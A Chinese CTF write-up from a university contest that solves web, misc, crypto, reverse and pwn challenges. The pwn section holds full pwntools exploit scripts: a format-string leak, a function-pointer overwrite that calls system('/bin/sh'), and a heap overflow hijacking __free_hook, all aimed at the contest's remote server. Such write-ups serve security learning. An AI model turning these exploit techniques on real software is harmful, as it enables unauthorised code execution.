​ 周末打了打中国海洋大学的校赛,顺利地打上了榜一。而某大学校赛一拖再拖,希望能够好好反思反思。感谢 Aidai 👴 和 三万 👴 以及贵蓝鲸社团其他成员同贵校一起带来的良好比赛体验。

image-20220502140711087

Web

Web 不大会做,做个签到摆烂。

Web - 你比香农都牛逼

image-20220501205540478

在 js 代码里面发现异常。

image-20220501205617391

复制到控制台直接跑就欧尅。

Misc

Misc 挺好玩的,除了一个看不懂的题目之外,其他的都挺有意思。

Misc - 填个问卷吧

问卷题。

Misc - warmatap

挺有意思的听力题,就顺着视频,反复拉条,其实听出来 flag{wozuixi 之后就差不多能猜到是啥了,边听边猜就出了,没去复现,flag 应该是 flag{wozuixihuanwarmale}

Misc - simplepcap

image-20220501205946681

Tcp 流发现异常,转化为原始数据后导出得到 elf 文件。

image-20220501210338277

打开后是简单的异或,脚本:

1
2
3
4
s= '>:0"&\x1C:1&5\x1C0*\x1C3" 3\x1C:!"!8$"/%'[::-1]
for i in s:
print(chr(ord(i)^0x43),end='')
#flag{baby_pcap_is_very_easy}

Misc - bitjungle

俩张图片,猜一下是盲水印。找个脚本解一下。

1
2
❯ python3 bwmforpy.py decode bitjungle.png bitjungle2.png ex.png --alpha 20
image<bitjungle.png> + image(encoded)<bitjungle2.png> -> watermark<ex.png>

image-20220501234510834

提示下载地址,去比赛网址输就行了。解压后得到一张小黄鸭。 binwalk 后得到加密的压缩包(?)。

1
2
3
4
5
6
7
8
❯ binwalk 00000000.jpg -e

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, EXIF standard
12 0xC TIFF image data, big-endian, offset of first image directory: 8
240443 0x3AB3B Zip archive data, encrypted at least v1.0 to extract, compressed size: 58, uncompressed size: 46, name: flag.txt
240661 0x3AC15 End of Zip archive

压缩包爆破密码没有出来,其他地方也莫得,考虑是不是打开方式有问题。将加密的压缩包丢入 010 里面看一下。

image-20220502000541265

发现一堆很奇怪的字符。复制 16 进制出来 From hex 看一下:

image-20220502000723821

百度部分文本查到关键字:

image-20220502000826624

找到 兽音译者 网站,翻译得到:

image-20220502000915160

用密码打开压缩包获得最终 flag:

image-20220502000946655


Pwn

Pwn 都是三万 👴 出的,对我这种萌新很友好,做出来的每一题我应该都抢到了一血,cpplike 很好玩我很喜欢。遗憾就是没有学会 ouc_language ,看看有机会能不能复现一下。同时也找三万 👴 嫖到了往届的题目,值得回去好好学习一下。

Pwn - flag_in_stack

简单的格式化字符串,利用 %n$p 修改偏移反复试探就可以了。

image-20220501210540722

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.27/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./flag_in_stack')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','60'])
p = process('./flag_in_stack')
# debug()
p = remote('39.106.29.44',10003)
i = 15
# payload=flat(
# ["%{}$p.%{}$p.%{}$p.%{}$p.%{}$p.%{}$p.%{}$p".format(i,i+1,i+2,i+3,i+4,i+5,i+6)]
# )
# i = 16
payload=str("%{}$p".format(i).ljust(8,'\0'))
sl(payload)
print(p64(0x3332327b67616c66)+p64(0x39382d3238343831)+p64(0x2d613465342d6537)+p64(0x3339622d39396239)+p64(0x6638663737313938)+p64(0xa7d33))
print(p.recv())
p.interactive()

Pwn - babykernel

签到题,简单修改一下启动文件就可以跑了,自带了提权的 exp,flag 甚至在本地都可以读。

image-20220501210723726

image-20220501210827778

Pwn - cpplike

很有意思的题目。漏洞点在 debug 函数。恰好可以溢出 8 个字节可以覆盖 calculate 的函数指针。虽然最后会让 dest 回来,但是应该是 strcpy 复制过来的 got 表截断了部分字节,导致下次利用可以成功。(打的时候边打边调没有注意,复现才注意到)

先利用的这个溢出把 calculate 覆盖成了 strcpy 。由于 num 我们是可以控制的所以可以在 v6 处写上 read 函数在 libc 中的地址,然后利用 info 函数 leak 出 libc 。之后就很好办了,再次利用 debug 函数覆盖 caculate 指针为 system,最后利用 rename 函数在 v6 处写上 /bin/sh\0 ,再次调用 calculate 就能 getshell了。

image-20220501211841480

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.27/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./calculate')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','60'])
# p = process('./calculate')
# debug(0x40169F)
p = remote('39.106.29.44',10303)
def menu(choice):
sla('choice >',str(choice))

def change(name):
menu(3)
sea('name?',name)

change('A'*24+p64(0x4010B0))
sl('1')
sla('input your num1 and num2:',str(int(elf.got['read'])))
sl('uuu!')
sla('choice >','4')
ru('name : ')
read_addr = uu64(rc(6))
info_addr('read',read_addr)
libc_base = read_addr - 0x10dff0
info_addr('LIBC',libc_base)
system_addr = libc_base + 0x522c0
ones = [(libc_base+i) for i in [0xe3b2e,0xe3b31,0xe3b34,0xe3d23,0xe3d26]]

'''
sla('choice >','2')
sleep(1)
sl('/bin/sh\0')
'''

sleep(0.1)
change('A'*24+p64(system_addr))

sla('choice >','2')
sleep(0.1)
sl('/bin/sh\0')

sl('1')
sleep(0.1)
sl('u')
sleep(0.1)
sl('u')


#flag{ammmmnmmzing_st4ck_0v3rf10w!!!!!}
p.interactive()
'''
0xe3b2e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b31 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b34 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''

Pwn - bomb_cat

题目一开始没有给 libc ,但是印象中好像和某个题是一样的 libc ,我就当的 2.31 做的,所以没有影响。

image-20220501215811253

超长堆溢出

随便割个大 chunk ,leak 出 libc 就可以乱打了,还是利用Heap Overflow 控制下个 cat 的 content 指针劫持 __free_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.27/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./bomb_cat')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','60'])
# p = process('./bomb_cat')
# debug()
p = remote('39.106.29.44',10304)
def menu(choice):
sla('5 => Go to sleep.',str(choice))

def add(size,data,kilo=100,length=200):
menu(1)
sla("What's your cat's size:",str(size))
sla("What's your cat's kilo:",str(kilo))
sla("What's your cat's length:",str(length))
sla('musT paSTe sOmEthINg oN It:',str(data))

def edit(id,data):
menu(2)
sla('Which cat:',str(id))
sla('It should be this:',str(data)) # Overflow

def show(id):
menu(3)
sla('Which cat:',str(id))

def dele(id):
menu(4)
sla('Which cat:',str(id))

add(0x20,'a0') # 0
add(0x20,'a1') # 1
add(0x420,'a2') # 2
add(0x20,'a3') # 3

dele(2)
add(0x60,'') # 1
show(2)
ru("Cat's content:\n")
libc_leak = uu64(ru('\n'))
libc_base = (libc_leak<<8) - 0x1ecf00
info_addr('libc_leak',libc_leak)
info_addr('LIBC',libc_base)
libc = ELF('./libc6.so')
__free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']

edit(0,'A'*0x28+p64(0x21)+p64(123)+p64(0x64)+p64(__free_hook)+p64(0x31))
edit(1,p64(system_addr))
edit(0,'/bin/sh\0')
dele(0)

p.interactive()
# flag{bOmB_cAt_i_lOVe_yOU}

Crypto

Crypto 除了 leaks 没有思路之外,其他的还好。

Crypto - rsa0

c1=me1mod(e1e2)c1=me1+ke1e2c1=me1mode1c1=mmode1(费马小定理)同理有c2=mmode2(c1m)(c2m)=0mod(e1e2)c_1=m^{e1}\mod(e1*e2) \\ c_1 = m^{e_1}+k*e_1*e_2 \\ c_1 = m^{e_1}\mod e_1\\ c_1 = m\mod e_1 (费马小定理)\\ 同理有c_2 = m\mod e_2 \\ (c_1-m)(c_2-m)=0\mod(e_1*e_2)

之后就是 CopperSmith 了,我不大会但是找脚本摁打打出来了。

image-20220501222945435

Crypto - rsa1

摁爆破,一分多钟就出了,然后就常规了。

image-20220501223849339

Crypto - Classicbc

很好玩的 base cbc

image-20220501232624084

base64 解码后复制过来,三个一组慢慢异或着解就 ok 了,注意不能直接调 split() 会 🐔

1
2
3
4
5
s = ['fla','','0vq','C','*oz','E','sa']
print('fla',end='')
for i in range(1,len(s)):
for j in range(3):
print(chr(ord(s[i][j])^ord(s[i-1][j])),end='')

Reverse

Re 就比较简单了,大概也是因为面向新生的缘故,没怎么做就可以做出来。

Re - easyxor

image-20220501233411142

逻辑比较简单,dump 出来异或回去就有 flag 了。

1
2
3
4
s = [0x44, 0x4E, 0x43, 0x45, 0x59, 0x5A, 0x6D, 0x50, 0x7D, 0x13, 0x51, 0x7D, 0x54, 0x11, 0x50, 0x5B, 0x5B, 0x5B, 0x5B, 0x5B, 0x5B, 0x5B, 0x5B, 0x5B, 0x5B, 0x7D, 0x47, 0x16, 0x51, 0x5B, 0x5F]
for i in s:
print(chr(i^0x22),end='')
flag{xOr_1s_v3ryyyyyyyyyy_e4sy}

Re - oh_my_python

拖到在线反编译网站得到反编译结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 2.7
def chall():
flag = input()
l = 'CKNOPWY_acfghkloruwy{}'
index = [
10,
14,
8,
11,
20,
0,
8,
2,
7,
6,
3,
17,
7,
1,
3,
5,
2,
7,
12,
3,
5,
7,
4,
19,
9,
7,
18,
15,
16,
13,
21]
answer = ''
for i in index:
answer += l[i]

if flag == answer:
print 'Right!'
else:
print 'No!'

if __name__ == '__main__':
chall()

直接改一下 chall() 逻辑塞个 print(answer)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def chall():
flag = input()
l = 'CKNOPWY_acfghkloruwy{}'
index = [
10,
14,
8,
11,
20,
0,
8,
2,
7,
6,
3,
17,
7,
1,
3,
5,
2,
7,
12,
3,
5,
7,
4,
19,
9,
7,
18,
15,
16,
13,
21]
answer = ''
for i in index:
answer += l[i]
print(answer)
chall()
# a
# flag{CaN_YOu_KOWN_hOW_Pyc_work}

Re - asm_master

不想读汇编

1
gcc -c main.S -o exp

image-20220501233936159

Re - xpu

1
2
3
4
5
6
7
8
9
10
.\upx.exe -d .\xpu_compress
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2020
UPX 3.96w Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020

File size Ratio Format Name
-------------------- ------ ----------- -----------
2255680 <- 752128 33.34% linux/amd64 xpu_compress

Unpacked 1 file.

不会手脱,找个工具解决了。

image-20220501234214531

点开之后还没加载完 flag 就糊脸上来了。base64 解完就是了。

image-20220501234259962